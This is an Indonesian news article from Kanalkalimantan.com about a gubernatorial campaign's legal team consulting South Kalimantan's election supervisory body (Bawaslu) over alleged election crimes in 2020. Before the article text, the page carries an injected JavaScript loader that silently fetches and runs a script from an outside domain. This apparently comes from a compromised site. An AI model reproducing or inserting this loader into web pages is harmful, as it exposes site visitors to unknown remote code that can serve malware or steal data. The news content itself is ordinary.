(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Pegang bukti kuat dugaan pelanggaran pidana pemilu, Tim Divisi Hukum Paslon Gubernur Kalsel Haji Denny-Haji Difri (H2D) mendatangi Bawaslu Kalsel, Rabu (30/9/2020) siang.
Tim Divisi Hukum H2D, Jurkani kepada Kanalkalimantan.com seusai keluar dari kantor Bawaslu Kalsel melaporkan, edatangan mereka ini terkait adanya dugaan pidana pemilu berat pemilihan gubernur Kalsel yang dilakukan oleh oknum kepala daerah dan sejumlah pejabat eselon II di Kalsel.
Berbagai bukti dokumentasi dalam bentuk video dan foto telah disiapkan guna memperkuat dugaan tersebut dan akan dilampirkan sebagai berita acara yang akan dilaporkan nantinya. “Kami dari Tim Divisi Hukum H2D, menemui Ketua Bawaslu Kalsel ibu Erna Kasypiah dan Komisioner Bawaslu lainnya. Kedatangan kami ke Bawaslu Kalsel untuk mengkonsultasi persiapan laporan dugaan pidana pemilu yang kami temukan di tahapan kampanye Pilgub Kalsel 2020,” jelasnya.
Mantan perwira penyidik di Polda Kalsel ini menyebut, dugaan pelanggaran pidana pemilu berat yang terjadi diantaranya pelibatan oknum kepala daerah hingga pejabat eselon II secara terang-terangan membagikan paket bantuan untuk pemenangan lawannya yaitu paslon H Sahbirin Noor-H Muhidin.
“Dengan bukti yang kita miliki ini tentu adanya dugaan pelanggaran pidana pemilu berat yang dilakukan oleh paslon Gubernur Kalsel tersebut, maka kami dalam waktu dekat kita akan melaporkannya ke Bawaslu Kalsel, Kemendagri, dan juga Komisi Aparatur Sipil Negara (KASN),” katanya.
Jurkani mengatakan, adapun pelaporan dengan membawa semua alat bukti dan saksi dilakukan Tim Divisi Hukum H2D pada pukul 11.00 Wita Kamis 1 Oktober 2020.
Masih ditempat yang sama Ketua Bawaslu Kalsel Erna Kasypiah didampingi Komisioner Bawaslu lainnya membenarkan kedatangan Tim Divisi Hukum H2D ke Bawaslu Kalsel. Kedatangan
mereka hari ini hanya untuk mengkonsultasikan pelaporan yang akan diajukan besok. “Benar, tadi kita sempat menemui Tim Divisi Hukum H2D, kedatangan mereka kesini singkat hanya untuk mengkonsultasikan dugaan pelanggaran yang akan dilaporkan selengkapnya besok, kita tunggu saja kelanjutannya,” kata Erna. (kanalkalimantan.com/fikri)
Reporter: Fikri
Editor : Bie
KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More
KANALKALIMANTAN.COM, JAKARTA - Seorang warga banua yang kini berkiprah di Jakarta, Muhammad Fremmuzar Aditya Putra… Read More
KANALKALIMANTAN.COM, BANJARBARU - Di akhir masa tugas yang diemban, Penjabat Sementara (Pjs) Wali Kota Banjarbaru… Read More
KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menyinggung peluang menjemput paksa mantan Gubernur Kalimantan Selatan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sembilan partai politik (Parpol) pemegang kursi Dewan Perwakilan Rakyat Daerah (DPRD) Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pasangan Calon Bupati dan Calon Wakil Bupati Banjar nomor urut 01, H… Read More
This website uses cookies.